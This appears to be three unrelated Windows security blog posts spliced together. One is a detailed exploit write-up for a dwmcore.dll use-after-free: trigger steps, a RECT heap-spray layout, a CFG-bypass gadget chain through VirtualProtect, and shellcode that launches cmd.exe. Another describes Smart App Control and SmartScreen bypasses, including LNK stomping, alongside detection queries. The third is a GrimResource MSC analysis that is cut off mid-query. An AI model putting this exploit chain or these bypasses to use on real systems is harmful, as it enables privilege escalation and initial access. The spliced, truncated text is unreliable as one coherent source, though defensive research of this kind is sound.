Patch diffing has long fascinated me. I think part of it has to do with the race against the clock, reversing, exploiting, and trying to attain that “1day” exploit status. For advanced Windows targets, Valentina Palmiotti and Ruben Boonen proved that this was already possible nearly 3 years ago. But, they are some of the world's most talented exploit devs. Can LLMs raise the capability floor for us mere mortals? Fortunately, and maybe a bit alarmingly, the answer is yes.

The Hunt

When the bulletin for the January 2026 Patch Tuesday dropped, I kicked off my search to identify one of the patched vulnerabilities, and (hopefully) develop a working exploit for it. Top on the target list were any vulnerabilities already known to be exploited in the wild. January patches included an in-the-wild information leak vulnerability in Desktop Window Manager (DWM), which caught my eye. It also included a second DWM vulnerability which could lead to local privilege escalation. Historically, DWM has been a popular target for local privilege escalation. Sometimes it can be tricky to identify the exact patched component, but for DWM, dwmcore.dll is always a safe bet.

After training Ghidra on the files and extracting BSim vectors for every function, it becomes quite easy to highlight the differences between them. Not to mention, many Microsoft-patched vulnerabilities come alongside new feature flags. Needless to say, Opus 4.5 made quick work of the diff and identified one of the vulnerabilities within minutes.

======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll 
======================================================================

----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
  dwmcore_vuln.dll                      dwmcore_patched.dll                        Sim  Jaccard
----------------------------------------------------------------------------------------------------
  FUN_1802e7842                         FUN_1802e7842                           0.1191   0.0632
  FUN_1802e92d6                         FUN_1802e92d6                           0.1470   0.0722
  FUN_1802e5faa                         FUN_1802e5faa                           0.1741   0.0769
  ~CDelegatedInkCanvas                  ~CDelegatedInkCanvas                    0.7556   0.6047
  GetBufferedOutputTransformed          GetBufferedOutputTransformed            0.7628   0.6154
  FrameStarted                          FrameStarted                            0.7833   0.6429
  ~CSynchronousSuperWetInk              ~CSynchronousSuperWetInk                0.8018   0.6667
  FUN_1802f5aa2                         FUN_1802f5aa2                           0.9127   0.8393
  FUN_1802f57d2                         FUN_1802f5d72                           0.9127   0.8393
======================================================================

From here, I have to say that the time to build a functional exploit was painfully slower than I would have hoped. I spent many long nights and weekends poking and prodding the model along. A lot of this came down to my own unfamiliarity with the bug class and subsystem. Eventually, we did prevail and get RCE from low privilege into DWM and to SYSTEM. In the process, I discovered multiple novel exploitation techniques, like the GetRECT spray, new gadget chains, and a DWM-to-SYSTEM path. However, with these techniques (and some other tooling) in hand and newer model releases like Opus 4.6, the time from discovering a UAF vulnerability in DWM to functional exploit dropped from 3 weeks to a matter of hours.

The Bug

The vulnerability is a Use-After-Free in CSynchronousSuperWetInk::~CSynchronousSuperWetInk. The destructor conditionally removes the object from CSuperWetInkManager based on the return value of IsSuperWetCompatible().

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    this->vtable = &_vftable_;
    bool bVar2 = IsSuperWetCompatible(this);
    if (bVar2) {
        CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
    }
    // ... cleanup continues
}

The vulnerable destructor in dwmcore.dll version 10.0.26100.7309.

IsSuperWetCompatible Condition

bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
    if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
        this->clipEntry != NULL && this->comObject != NULL) {
        return true;
    }
    return false;
}

The IsSuperWetCompatible condition in dwmcore.dll version 10.0.26100.7309.

The function returns true only when LookupMode equals 2, or notifier1 is set, AND both clipEntry and comObject are non-null.

The Bug

An attacker can:

1. Register a CSynchronousSuperWetInk with the manager (requires LookupMode=2 during Draw())
2. Change LookupMode to 0 via CMD_SET_PROPERTY
3. Trigger destruction via CMD_RELEASE_RESOURCE
4. IsSuperWetCompatible() returns FALSE → RemoveSource() is skipped
5. A dangling pointer remains in CSuperWetInkManager::localStrokesVector

When DWM later iterates this vector (e.g., in DirtyActiveInk), it dereferences the freed object's vtable, leading to controlled code execution.

The Fix

The patch adds a feature flag (Feature_1732988217). When enabled, RemoveSource() is called unconditionally, regardless of IsSuperWetCompatible(). This ensures the object is always properly unregistered from the manager during destruction, eliminating the dangling pointer.

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    *(undefined ***)this = &_vftable_;
    bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
    if (!bVar2) {
        bVar2 = IsSuperWetCompatible(this);
        if (!bVar2) goto LAB_1802a9b1a;  // Skip RemoveSource only if feature disabled AND !compatible
    }
    CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
    // ... cleanup continues
}

The fixed destructor in dwmcore.dll version 10.0.26100.7623.

The Exploit

The UAF can be triggered from a regular user-mode application via the DirectComposition API. The attack requires no special privileges.

Prerequisites

1. D3D11/DXGI Infrastructure: Create a D3D11 device with BGRA support and a swap chain for a visible window.
2. DirectComposition Device: Initialize via DCompositionCreateDevice() with the DXGI device.
3. NtDComposition Syscall Access: Hook or directly call NtDCompositionProcessChannelBatchBuffer and NtDCompositionCommitChannel via win32u.dll to inject raw batch buffer commands.

Trigger Sequence

Step 1: Create Ink Trail (Allocate CSynchronousSuperWetInk)

Query IDCompositionInkTrailDevice from the DirectComposition device, then call CreateDelegatedInkTrailForSwapChain() or CreateDelegatedInkTrail(). This allocates a CSynchronousSuperWetInk object (resource type 0xa8) in dwm.exe's heap.

Step 2: Create Visual and Set LookupMode=2

Inject batch buffer commands to:

1. Create a CSuperWetInkVisual (type 0xa5) with CMD_CREATE_RESOURCE (0x02)
2. Connect visual to ink source: CMD_SET_REFERENCE (0x10) with propId 0x34
3. Set LookupMode=2 on the ink source via CMD_SET_PROPERTY (0x0B) with propId 10
4. Connect to composition tree: CMD_SET_REFERENCE to handles 1 and 2 (composition target / marshaler) with propId 0x34

LookupMode=2 ensures IsSuperWetCompatible() returns TRUE during Draw(), which registers the object with CSuperWetInkManager::localStrokesVector.

Step 3: Render Frames to Register with Manager

Present multiple frames (IDXGISwapChain::Present) and commit DirectComposition changes. This triggers DWM's render loop, which calls into the ink infrastructure and registers the CSynchronousSuperWetInk pointer in the manager's internal vector.

Step 4: Set LookupMode=0 (Bypass Removal Check)

Inject CMD_SET_PROPERTY to change LookupMode to 0. Now IsSuperWetCompatible() will return FALSE because:

if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)

With LookupMode = 0 and no notifier, the first condition fails.

Step 5: Release Ink Trail (Create Dangling Pointer)

1. Disconnect visual references: CMD_SET_REFERENCE with refHandle=0 for all connections
2. Release the IDCompositionDelegatedInkTrail interface

When the destructor ~CSynchronousSuperWetInk runs:

• It calls IsSuperWetCompatible() which returns FALSE (LookupMode=0)
• RemoveSource() is SKIPPED
• The object is freed but its pointer remains in CSuperWetInkManager::localStrokesVector

Step 6: Trigger DirtyActiveInk (Use-After-Free)

Continue presenting frames and invalidating the window. DWM's composition loop calls CSuperWetInkManager::DirtyActiveInk(), which iterates localStrokesVector and dereferences the dangling pointer:

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);

Crash Behavior

Without a heap spray, DWM crashes when accessing freed memory:

 # Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a

If the freed memory is reclaimed by another object (e.g., CInteractionTrackerScaleAnimation), the crash occurs at an unexpected vtable:

kd> dps rcx
00000201`fbef65f0  00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24

By controlling what data reclaims the freed allocation, an attacker can craft a fake vtable and achieve arbitrary code execution via the virtual call at vtable+0x50.

Heap Spray

To exploit the UAF, we must reclaim the freed CSynchronousSuperWetInk allocation with attacker-controlled data containing a fake vtable. This section documents the CRegionGeometry RECT buffer spray technique we refer to as GetRECT.

Target Object Properties

Spray Primitive: CRegionGeometry RECT Buffer

The spray uses CRegionGeometry resources (type 0x81) with RECT array data:

Allocation Chain:

dcomp.dll:   SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase:  CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
             → std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)

The RECT buffer is written via CMD_SET_BUFFER_PROPERTY (0x0F) with propId 5:

struct CmdSetResourceBufferProperty {
    uint32_t cmdId;      // 0x0F
    uint32_t handle;     // Resource handle
    uint32_t propId;     // 5 for RECT array
    uint32_t dataSize;   // 288 for 18 RECTs
    // Variable-length RECT data follows (4-byte aligned)
};

RECT Layout for Fake Object

The 18 RECTs (288 bytes) provide full control over the reclaimed memory:

struct SprayRECT {
    int32_t left;    // +0x00 within RECT
    int32_t top;     // +0x04
    int32_t right;   // +0x08
    int32_t bottom;  // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields

// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)

Helper to write 64-bit values into adjacent RECT fields:

static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
    *lo = (int32_t)(val & 0xFFFFFFFF);
    *hi = (int32_t)(val >> 32);
}

Exploitation Primitive

The UAF gives us a controlled vtable call with RCX pointing to our sprayed object. When DirtyActiveInk iterates the dangling pointer:

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)();  // call [[spray]+0x50] with RCX = spray

Call site stack:

00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c

Register state at dispatch:

• RCX = pointer to sprayed object (our controlled 288 bytes)
• RIP = [[spray]+0x50] (function pointer from fake vtable)

Target Function Constraints

There are initially two restrictions on what we can call:

1. The target must be in the CFG bitmap (marked as valid call target)
2. The target must have a pointer to it (in IAT, vtable, or other readable memory)

We cannot directly call arbitrary addresses; only functions that satisfy both conditions.

Gadget Chain: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect

With the UAF giving us a controlled vtable call (RIP = [[spray]+0x50], RCX = spray), the remaining challenge is chaining CFG-valid gadgets to achieve arbitrary code execution. Direct shellcode execution is blocked by CFG, and we have no heap address leak. We developed a novel gadget chain that solves both problems to achieve code execution, but it required 2 successful exploit attempts, lowering the reliability. Therefore, we pivoted to a known public technique using two Windows system DLL gadgets: __fnINSTRING (user32.dll) and CStdAsyncStubBuffer2_Disconnect (combase.dll).

Stage 1: __fnINSTRING - Kernel Callback Dispatch Without a Leak

The Windows kernel communicates back to user mode through the KernelCallbackTable (KCT), a function pointer table stored in the PEB at offset +0x58. Each entry points to a __fn* handler in user32.dll. These functions are CFG-valid call targets and have pointers to them in readable memory (the KCT itself), satisfying both constraints.

We point the fake vtable at &KCT[fnINSTRING_index] - 0x50. When DirtyActiveInk dereferences [[spray]+0x50], it reads the KCT entry and dispatches to __fnINSTRING:

[[spray]+0x50]
  = [KCT_entry_addr - 0x50 + 0x50]
  = [KCT_entry_addr]
  = &__fnINSTRING

What makes this useful is what __fnINSTRING does internally. It treats its argument (our spray buffer) as a _CAPTUREBUF structure and calls FixupCallbackPointers before dispatching the inner function. FixupCallbackPointers reads a fixup table from the buffer and converts relative offsets into absolute addresses by adding the buffer's base address:

// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
    if (buf->guard != 0) return;  // already fixed up - skip
    int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
    for (int i = 0; i < buf->fixupCount; i++) {
        int32_t* target = (int32_t*)((char*)buf + fixups[i]);
        *(uint64_t*)target += (uint64_t)buf;  // relative → absolute
    }
}

This eliminates the need for a heap address leak. We embed relative offsets in the spray buffer, and FixupCallbackPointers patches them to absolute pointers at runtime using the buffer's own address. After fixup, __fnINSTRING dispatches the inner function pointer at +0x48 with the arguments at +0x28 (RCX), +0x30 (EDX), +0x38 (R8), and +0x50 (R9).

We set the inner function to CStdAsyncStubBuffer2_Disconnect.

Stage 2: CStdAsyncStubBuffer2_Disconnect - Two Chained Vtable Calls

CStdAsyncStubBuffer2_Disconnect is exported from combase.dll, making it CFG-valid with a stable address. Its disassembly reveals a useful primitive: two sequential vtable dispatches with preserved argument registers:

; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV  RBX, RCX             ; save this
MOV  RCX, [RCX-8]         ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ   skip1
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x20]      ; vtable[4]
CALL guard_dispatch_icall  ; CALL #1: [[this-8]+0x20]  ← VirtualProtect

skip1:
XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ   skip2
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x10]      ; vtable[2]
CALL guard_dispatch_icall  ; CALL #2: [[[this+0x10]]+0x10]  ← shellcode

skip2:
ADD  RSP, 0x20
POP  RBX
RET

RDX, R8, and R9 are preserved through both calls, arriving untouched from __fnINSTRING's argument setup. This gives us full control over the first three arguments to both vtable calls.

Vtable Call #1: VirtualProtect → RWX

We construct a self-referential fake object at +0xC8 in the spray buffer: [+0xC8] points to itself (after fixup), so dereferencing [RCX] → [RCX+0x20] reads VirtualProtect's address from +0xE8. The arguments (preserved from __fnINSTRING dispatch) are:

After this call, the spray buffer's memory page is marked RWX, and the CFG bitmap is updated to allow execution from this region.

Vtable Call #2: Inline Shellcode

After VirtualProtect returns, Disconnect loads [this+0x10] into RCX for the second vtable dispatch:

XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ   skip2                 ; non-zero → take the call
MOV  RAX, [RCX]            ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV  RAX, [RAX+0x10]       ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall   ; call base+0xD0

The pointer chain resolves step by step:

1. [this+0x10] = [base+0x90] = base+0xA0 (fake_obj_2)
2. [RCX] = [base+0xA0] = base+0xA8, fake_obj_2's vtable pointer (after fixup)
3. [RAX+0x10] = [base+0xB8] = base+0xD0, vtable_2's third entry, pointing at our shellcode

The final CALL guard_dispatch_icall dispatches to base+0xD0, our inline shellcode, now both executable and CFG-valid thanks to the preceding VirtualProtect call.

Shellcode Layout

The shellcode is split into two phases because the VirtualProtect address data sits at +0xE8 (used as vtable_1[0x20] by call #1), creating a gap in the middle of our executable region:

Phase 1 (+0xD0, 22 bytes): Saves RCX (base+0xA0) into RBX for later address arithmetic, allocates shadow space, loads SW_SHOW (5) into RDX, loads the absolute address of WinExec via movabs RAX, then jumps over the 8-byte data gap at +0xE8:

mov  rbx, rcx              ; save base+0xA0 for address math
sub  rsp, 0x28             ; shadow space
push 5
pop  rdx                   ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp  +0x0A                 ; skip over +0xE8 data → land at +0xF0

Phase 2 (+0xF0): Calls WinExec with a RIP-relative pointer to the "cmd.exe\0" string embedded at the end of the shellcode, defuses the spray for safe re-entry, then performs a stack fixup to return directly to DWM's composition loop:

lea  rcx, [rip+0x22]      ; rcx = &"cmd.exe"
call rax                   ; WinExec("cmd.exe", SW_SHOW)

; Defuse: rewrite fake vtable so re-entry is harmless
lea  rax, [rbx+0x78]       ; rax = address of the ret below
mov  [rbx-0x48], rax       ; [base+0x58] = ret_gadget
lea  rax, [rbx-0x98]       ; rax = base+0x08
mov  [rbx-0xA0], rax       ; [base+0x00] = base+0x08 (new fake vtable)

; Stack fixup: skip Disconnect + __fnINSTRING return frames
add  rsp, 0xB8             ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor  eax, eax              ; zero return value
ret                        ; return directly to DWM composition loop
; "cmd.exe\0" embedded here

The add rsp, 0xB8 improves reliability. A naive add rsp, 0x28 would return into CStdAsyncStubBuffer2_Disconnect, which would then return into __fnINSTRING, which calls NtCallbackReturn. This kernel callback return path can be fragile in the context of a hijacked call. By adding an extra 0x90 to the stack adjustment, the shellcode skips past both intermediate frames entirely and returns directly to DirtyActiveInk's caller in the DWM composition loop.

Safe Re-entry: Defusing the Spray

DWM's DirtyActiveInk may iterate the dangling pointer more than once. Without defusing, each re-entry would re-trigger the full chain and crash. The shellcode rewrites the spray's vtable pointer so that subsequent dereferences take a harmless path:

1. [base+0x00] is overwritten to base+0x08 (new fake vtable)
2. [base+0x58] is overwritten to the address of a ret instruction

On re-entry: [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret. The vtable call returns immediately. __fnINSTRING is never re-invoked because the vtable no longer points at the KCT entry.

Complete Spray Layout

The full 288-byte spray buffer (18 RECTs) after FixupCallbackPointers:

Full Chain Summary

DirtyActiveInk iterates dangling pointer
  → [[spray+0x00]+0x50] = __fnINSTRING(spray)
    → FixupCallbackPointers: 8 relative offsets → absolute
    → Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
      → Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
        → Spray buffer page is now RWX, CFG bitmap updated
      → Vtable call #2: shellcode at base+0xD0
        → WinExec("cmd.exe", SW_SHOW)
        → Defuse: rewrite vtable for safe re-entry
        → Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
      → RET directly to DWM composition loop
    → DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return

The DWM process runs as the DWM user with System integrity. Prior public techniques to achieve SYSTEM typically involve hijacking function pointers mapped into privileged client processes like LogonUI or Consent. However, it appears this technique was recently patched as the shared section is now mapped read-only. We developed a new, alternative path to SYSTEM but are choosing to withhold publishing the technique at this time.

Closing Thoughts

The models we have today are highly capable at tasks that historically have required deep expertise cultivated over many years. This includes things like reverse engineering, vulnerability discovery, and exploit development. Their capabilities are spiky, and do not yet rival the world's best in these fields. However, the march of model progress seems to show no sign of slowing down at the moment. This levels the playing field for defenders, but also raises the capabilities of attackers. While there has always been an adversarial cat and mouse game, and this is not new in that regard, attackers are at least at a near-term asymmetric advantage to wield these tools for harm. Attackers can move faster, with little worry about safety or security of AI systems. Defenders must leverage AI for offensive purposes against their code (for vulnerabilities), security products (for detection gaps), and their enterprises (adversary emulation) to find weaknesses and iterate on improved defenses before attackers do. Unfortunately, it may be the small organizations with no security teams that take the brunt of the near term pain. My hope is that long-term, the security community can together outspend attackers on offensive and defensive research, and we exit this era in a better place than we started.

Reputation-based protections like Elastic’s reputation service can significantly improve detection capabilities while maintaining low false positive rates. However, like any protection capability, weaknesses exist and bypasses are possible. Understanding these weaknesses allows defenders to focus their detection engineering on key coverage gaps. This article will explore Windows Smart App Control and SmartScreen as a case study for researching bypasses to reputation-based systems, then demonstrate detections to cover those weaknesses.

Key Takeaways:

• Windows Smart App Control and SmartScreen have several design weaknesses that allow attackers to gain initial access with no security warnings or popups.
• A bug in the handling of LNK files can also bypass these security controls
• Defenders should understand the limitations of these OS features and implement detections in their security stack to compensate

SmartScreen/SAC Background

Microsoft SmartScreen has been a built-in OS feature since Windows 8. It operates on files that have the “Mark of the Web” (MotW) and are clicked on by users. Microsoft introduced Smart App Control (SAC) with the release of Windows 11. SAC is, in some ways, an evolution of SmartScreen. Microsoft says it “adds significant protection from new and emerging threats by blocking apps that are malicious or untrusted.” It works by querying a Microsoft cloud service when applications are executed. If they are known to be safe, they are allowed to execute; however, if they are unknown, they will only be executed if they have a valid code signing signature. When SAC is enabled, it replaces and disables Defender SmartScreen.

Microsoft exposes undocumented APIs for querying the trust level of files for SmartScreen and Smart App Control. To help with this research, we developed a utility that will display the trust of a file. The source code for this utility is available here.

Signed Malware

One way to bypass Smart App Control is to simply sign malware with a code-signing certificate. Even before SAC, there has been a trend towards attackers signing their malware to evade detection. More recently, attackers have routinely obtained Extend Validation (EV) signing certificates. EV certs require proof of identity to gain access and can only exist on specially designed hardware tokens, making them difficult to steal. However, attackers have found ways to impersonate businesses and purchase these certificates. The threat group behind SolarMarker has leveraged over 100 unique signing certificates across their campaigns. Certificate Authorities (CAs) should do more to crack down on abuse and minimize fraudulently-acquired certificates. More public research may be necessary to apply pressure on the CAs who are most often selling fraudulent certificates.

Reputation Hijacking

Reputation hijacking is a generic attack paradigm on reputation-based malware protection systems. It is analogous to the misplaced trust research by Casey Smith and others against application control systems, as well as the vulnerable driver research from Gabriel Landau and I. Unfortunately, the attack surface in this case is even larger. Reputation hijacking involves finding and repurposing apps with a good reputation to bypass the system. To work as an initial access vector, one constraint is that the application must be controlled without any command line parameters—for example, a script host that loads and executes a script at a predictable file path.

Script hosts are an ideal target for a reputation hijacking attack. This is especially true if they include a foreign function interface (FFI) capability. With FFI, attackers can easily load and execute arbitrary code and malware in memory. Through searches in VirusTotal and GitHub, we identified many script hosts that have a known good reputation and can be co-opted for full code execution. This includes Lua, Node.js, and AutoHotkey interpreters. A sample to demonstrate this technique is available here.

The following video demonstrates hijacking with the JamPlus build utility to bypass Smart App Control with no security warnings:

In another example, SmartScreen security warnings were bypassed by using a known AutoHotkey interpreter:

Another avenue to hijack the reputation of a known application is to exploit it. This could be simple, like a classic buffer overflow from reading an INI file in a predictable path. It could be something more complex that chains off other primitives (like command execution/registry write/etc). Also, multiple known apps can be chained together to achieve full code execution. For example, one application that reads a configuration file and executes a command line parameter can then be used to launch another known application that requires a set of parameters to gain arbitrary code execution.

Reputation Seeding

Another attack on reputation protections is to seed attacker-controlled binaries into the system. If crafted carefully, these binaries can appear benign and achieve a good reputation while still being useful to attackers later. It could simply be a new script host binary, an application with a known vulnerability, or an application that has a useful primitive. On the other hand, it could be a binary that contains embedded malicious code but only activates after a certain date or environmental trigger.

Smart App Control appears vulnerable to seeding. After executing a sample on one machine, it received a good label after approximately 2 hours. We noted that basic anti-emulation techniques seemed to be a factor in receiving a benign verdict or reputation. Fortunately, SmartScreen appears to have a higher global prevalence bar before trusting an application. A sample that demonstrates this technique is available here and is demonstrated below:

Reputation Tampering

A third attack class against reputation systems is reputation tampering. Normally, reputation systems use cryptographically secure hashing systems to make tampering infeasible. However, we noticed that certain modifications to a file did not seem to change the reputation for SAC. SAC may use fuzzy hashing or feature-based similarity comparisons in lieu of or in addition to standard file hashing. It may also leverage an ML model in the cloud to allow files that have a highly benign score (such as being very similar to known good). Surprisingly, some code sections could be modified without losing their associated reputation. Through trial and error, we could identify segments that could be safely tampered with and keep the same reputation. We crafted one tampered binary with a unique hash that had never been seen by Microsoft or SAC. This embedded an “execute calc” shellcode and could be executed with SAC in enforcement mode:

LNK Stomping

When a user downloads a file, the browser will create an associated “Zone.Identifier” file in an alternate data stream known as the Mark of the Web (MotW). This lets other software (including AV and EDR) on the system know that the file is more risky. SmartScreen only scans files with the Mark of the Web. SAC completely blocks certain file types if they have it. This makes MotW bypasses an interesting research target, as it can usually lead to bypassing these security systems. Financially motivated threat groups have discovered and leveraged multiple vulnerabilities to bypass MotW checks. These techniques involved appending crafted and invalid code signing signatures to javascript or MSI files.

During our research, we stumbled upon another MotW bypass that is trivial to exploit. It involves crafting LNK files that have non-standard target paths or internal structures. When clicked, these LNK files are modified by explorer.exe with the canonical formatting. This modification leads to removal of the MotW label before security checks are performed. The function that overwrites the LNK files is _SaveAsLink() as shown in the following call stack:

The function that performs the security check is CheckSmartScreen() as shown in the following call stack:

The easiest demonstration of this issue is to append a dot or space to the target executable path (e.g., powershell.exe.). Alternatively, one can create an LNK file that contains a relative path such as .\target.exe. After clicking the link, explorer.exe will search for and find the matching .exe name, automatically correct the full path, update the file on disk (removing MotW), and finally launch the target. Yet another variant involves crafting a multi-level path in a single entry of the LNK’s target path array. The target path array should normally have 1 entry per directory. The pylnk3 utility shows the structure of an exploit LNK (non-canonical format) before and after execution (canonical format):

A Python script that demonstrates these techniques is available here.

The following shows an LNK file bypassing MotW restrictions under Smart App Control to launch Powershell and pop calc:

In another example, we show this technique chained with the Microsoft cdb command line debugger to achieve arbitrary code execution and execute shellcode to pop calc:

We identified multiple samples in VirusTotal that exhibit the bug, demonstrating existing in the wild usage. The oldest sample identified was submitted over 6 years ago. We also disclosed details of the bug to the MSRC. It may be fixed in a future Windows update. We are releasing this information, along with detection logic and countermeasures, to help defenders identify this activity until a patch is available.

Detections

Reputation hijacking, by its nature, can be difficult to detect. Countless applications can be co-opted to carry out the technique. Cataloging and blocking applications known to be abused is an initial (and continual) step.

process where process.parent.name == "explorer.exe" and process.hash.sha256 in (
"ba35b8b4346b79b8bb4f97360025cb6befaf501b03149a3b5fef8f07bdf265c7", // AutoHotKey
"4e213bd0a127f1bb24c4c0d971c2727097b04eed9c6e62a57110d168ccc3ba10" // JamPlus
)

However, this approach will always lag behind attackers. A slightly more robust approach is to develop behavioral signatures to identify general categories of abused software. For example, we can look for common Lua or Node.js function names or modules in suspicious call stacks:

sequence by process.entity_id with maxspan=1m
[library where
  (dll.Ext.relative_file_creation_time <= 3600 or
   dll.Ext.relative_file_name_modify_time <= 3600 or
   (dll.Ext.device.product_id : ("Virtual DVD-ROM", "Virtual Disk","USB *") and not dll.path : "C:\\*")) and
   _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info: "*!luaopen_*")] by dll.hash.sha256
[api where
 process.Ext.api.behaviors : ("shellcode", "allocate_shellcode", "execute_shellcode", "unbacked_rwx", "rwx", "hook_api") and
 process.thread.Ext.call_stack_final_user_module.hash.sha256 : "?*"] by process.thread.Ext.call_stack_final_user_module.hash.sha256

api where process.Ext.api.name : ("VirtualProtect*", "WriteProcessMemory", "VirtualAlloc*", "MapViewOfFile*") and
 process.Ext.api.behaviors : ("shellcode", "allocate_shellcode", "execute_shellcode", "unbacked_rwx", "rwx", "hook_api") and
 process.thread.Ext.call_stack_final_user_module.name : "ffi_bindings.node"

Security teams should pay particular attention to downloaded files. They can use local reputation to identify outliers in their environment for closer inspection.

from logs-* | 
where host.os.type == "windows"
and event.category == "process" and event.action == "start"
and process.parent.name == "explorer.exe"
and (process.executable like "*Downloads*" or process.executable like "*Temp*")
and process.hash.sha256 is not null
| eval process.name = replace(process.name, " \\(1\\).", ".")
| stats hosts = count_distinct(agent.id) by process.name, process.hash.sha256
| where hosts == 1

LNK stomping may have many variants, making signature-based detection on LNK files difficult. However, they should all trigger a similar behavioral signal- explorer.exe overwriting an LNK file. This is especially anomalous in the downloads folder or when the LNK has the Mark of the Web.

file where event.action == "overwrite" and file.extension : "lnk" and
 process.name : "explorer.exe" and process.thread.Ext.call_stack_summary : "ntdll.dll|*|windows.storage.dll|shell32.dll|*" and
 (
  file.path : ("?:\\Users\\*\\Downloads\\*.lnk", "?:\\Users\\*\\AppData\\Local\\Temp\\*.lnk") or
  file.Ext.windows.zone_identifier == 3
  )

Finally, robust behavioral coverage around common attacker techniques such as in-memory evasion, persistence, credential access, enumeration, and lateral movement helps detect realistic intrusions, including from reputation hijacking.

Conclusion

Reputation-based protection systems are a powerful layer for blocking commodity malware. However, like any protection technique, they have weaknesses that can be bypassed with some care. Smart App Control and SmartScreen have a number of fundamental design weaknesses that can allow for initial access with no security warnings and minimal user interaction. Security teams should scrutinize downloads carefully in their detection stack and not rely solely on OS-native security features for protection in this area.

After Microsoft disabled office macros by default for internet-sourced documents, other infection vectors like JavaScript, MSI files, LNK objects, and ISOs have surged in popularity. However, these other techniques are scrutinized by defenders and have a high likelihood of detection. Mature attackers seek to leverage new and undisclosed infection vectors to gain access while evading defenses. A recent example involved DPRK actors using a new command execution technique in MSC files.

Elastic researchers have uncovered a new infection technique also leveraging MSC files, which we refer to as GrimResource. It allows attackers to gain full code execution in the context of mmc.exe after a user clicks on a specially crafted MSC file. A sample leveraging GrimResource was first uploaded to VirusTotal on June 6th.

Key takeaways

• Elastic Security researchers uncovered a novel, in-the-wild code execution technique leveraging specially crafted MSC files referred to as GrimResource
• GrimResource allows attackers to execute arbitrary code in Microsoft Management Console (mmc.exe) with minimal security warnings, ideal for gaining initial access and evading defenses
• Elastic is providing analysis of the technique and detection guidance so the community can protect themselves

Analysis

The key to the GrimResource technique is using an old XSS flaw present in the apds.dll library. By adding a reference to the vulnerable APDS resource in the appropriate StringTable section of a crafted MSC file, attackers can execute arbitrary javascript in the context of mmc.exe. Attackers can combine this technique with DotNetToJScript to gain arbitrary code execution.

At the time of writing, the sample identified in the wild had 0 static detections in VirusTotal.

The sample begins with a transformNode obfuscation technique, which was observed in recent but unrelated macro samples. This aids in evading ActiveX security warnings.

This leads to an obfuscated embedded VBScript, as reconstructed below:

The VBScript sets the target payload in a series of environment variables and then leverages the DotNetToJs technique to execute an embedded .NET loader. We named this component PASTALOADER and may release additional analysis on this specific tool in the future.

PASTALOADER retrieves the payload from environment variables set by the VBScript in the previous step:

Finally, PASTALOADER spawns a new instance of dllhost.exe and injects the payload into it. This is done in a deliberately stealthy manner using the DirtyCLR technique, function unhooking, and indirect syscalls. In this sample, the final payload is Cobalt Strike.

Detections

In this section, we will examine current behavior detections for this sample and present new, more precise ones aimed at the technique primitives.

Suspicious Execution via Microsoft Common Console

This detection was established prior to our discovery of this new execution technique. It was originally designed to identify a different method (which requires the user to click on the Taskpad after opening the MSC file) that exploits the same MSC file type to execute commands through the Console Taskpads command line attribute:

process where event.action == "start" and
